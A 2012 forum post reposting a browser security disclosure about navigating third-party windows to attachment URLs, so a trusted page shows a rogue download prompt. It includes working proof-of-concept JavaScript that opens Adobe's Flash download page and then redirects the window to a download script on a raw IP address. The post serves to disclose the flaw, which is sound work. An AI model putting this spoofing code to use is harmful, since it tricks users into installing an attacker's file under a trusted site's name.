The_Arhitect Posted June 1, 2012 Report Posted June 1, 2012 Browser Navigation Download TrickAnother moderately interesting tidbit, I guess...It is an important and little-known property of web browsers that onedocument can always navigate other, non-same-origin windows toarbitrary URLs. Perhaps more interestingly, you can also navigatethird-party documents to resources served with Content-Disposition:attachment, in which case, you get the original contents of theaddress bar, plus a rogue download prompt attached to an unsuspectingpage that never wanted you to download that file.PoC:http://lcamtuf.coredump.cx/fldl/==========<input type=submit onclick="doit()" value="Click me. I like to be clicked."><script>var w;var once;function doit() { if (navigator.userAgent.indexOf('MSIE') != -1) w = window.open('page2.html', 'foo'); else w = window.open('data:text/html,<meta http-equiv="refresh" content="0;URL=http://get.adobe.com/flashplayer/download/?installer=Flash_Player_11_for_Internet_Explorer_(64_bit)&os=Windows%207&browser_type=MSIE&browser_dist=OEM&d=Google_Toolbar_7.0&PID=4166869">', 'foo'); setTimeout(donext, 4500);}function donext() { window.open('http://199.58.85.40/download2.cgi', 'foo'); if (once != true) setTimeout(donext, 5000); once = true;}</script>==========More info:http://lcamtuf.blogspot.com/2012/05/yes-you-can-have-fun-with-downloads.htmlIt's closely related to many other fundamental, open issues withbrowser UI design - but I guess it's an interesting highlight./mzSursa: Browser Navigation Download Trick 1 Quote